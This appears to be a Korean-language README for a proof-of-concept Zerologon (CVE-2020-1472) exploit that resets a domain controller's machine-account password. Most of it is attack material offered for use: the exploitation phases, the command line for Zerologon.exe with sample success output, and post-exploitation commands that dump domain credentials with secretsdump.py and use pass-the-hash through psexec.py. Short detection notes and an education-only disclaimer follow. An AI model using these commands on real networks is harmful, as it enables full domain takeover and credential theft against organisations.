Zerologon (CVE-2020-1472)

개요

이 프로젝트는 가장 중요한 Active Directory 보안 취약점 중 하나인 **Zerologon 취약점(CVE-2020-1472)**의 구현입니다. 이 취약점은 인증되지 않은 공격자가 도메인 컨트롤러의 컴퓨터 계정 비밀번호를 재설정하여 전체 Active Directory 도메인을 손상시키는 것을 허용합니다.

CVSS 점수: 10.0 (치명적)

Zerologon이란 무엇인가?

Zerologon은 Microsoft의 Netlogon 원격 프로토콜(MS-NRPC)에 존재하는 암호화 결함입니다. 이 취약점은 Netlogon이 하드코딩된 0 값의 초기화 벡터(IV)와 함께 AES-CFB8 암호화를 사용하는 방식에 존재합니다.

기술 요약:

Netlogon 프로토콜은 challenge-response(도전-응답) 인증 메커니즘을 사용합니다.
잘못된 암호화 구현으로 인해, 모두 0인 challenge는 1/256의 확률로 유효한 인증을 생성할 수 있습니다.
공격자는 약 2000회의 인증 시도를 보내 이 결함을 안정적으로 악용할 수 있습니다.
인증에 성공하면, 공격자는 도메인 컨트롤러의 컴퓨터 계정 비밀번호를 알려진 값(빈 해시)으로 재설정할 수 있습니다.

작동 원리

1. Target Selection
   └─> Identify Domain Controller (FQDN, NetBIOS name, machine account)

2. Challenge Phase (I_NetServerReqChallenge)
   └─> Send all-zero client challenge (0x0000000000000000)
   └─> Receive server challenge

3. Authentication Phase (I_NetServerAuthenticate2)
   └─> Attempt authentication with null credentials
   └─> Repeat until successful (~1/256 success rate per attempt)

4. Password Reset Phase (I_NetServerPasswordSet2)
   └─> Reset DC machine account password to empty
   └─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)

5. Post-Exploitation
   └─> Use Pass-the-Hash with empty credentials
   └─> Full domain compromise achieved

프로젝트 빌드

사전 요구 사항

Windows 개발 환경 (Windows 10/11)
Visual Studio 2022
Windows SDK

컴파일

Visual Studio 사용:

1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.

사용법

Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>

예시:

Zerologon.exe DC01.corp.example.com DC01 DC01$

매개변수:

DC_FQDN: 대상 도메인 컨트롤러의 정규화된 도메인 이름(FQDN)
DC_NetBIOS_Name: DC의 NetBIOS 이름 (일반적으로 호스트 이름)
Machine_Account_Name: 컴퓨터 계정 이름 ($로 끝나야 함)

예상 출력:

성공적인 악용:

[+] Targeting Domain Controller:
    FQDN           : DC01.corp.example.com
    NetBIOS Name   : DC01
    Machine Account: DC01$

[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
      .\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>

실패한 악용 (패치된 시스템):

[-] Attack failed after 2000 attempts. Target likely patched.

사후 악용

DC 비밀번호를 성공적으로 재설정한 후, 다음을 수행할 수 있습니다:

도메인 자격 증명 덤프:

secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10

Pass-the-Hash 인증:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01

탐지

네트워크 기반 탐지:

단일 소스에서 발생한 다수의 실패한 Netlogon 인증 시도
MS-NRPC 트래픽의 비정상 패턴
Zerologon 악용에 대한 IDS/IPS 시그니처

로그 기반 탐지:

Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset

SIEM 쿼리:

source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100

면책 조항

이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.

저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.

참고 자료

공식 자료:

기술 분석:

도구:

Impacket Toolkit - 사후 악용용
Mimikatz - 자격 증명 추출

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

ZeroLogon-PoC-DC-Pwn

인기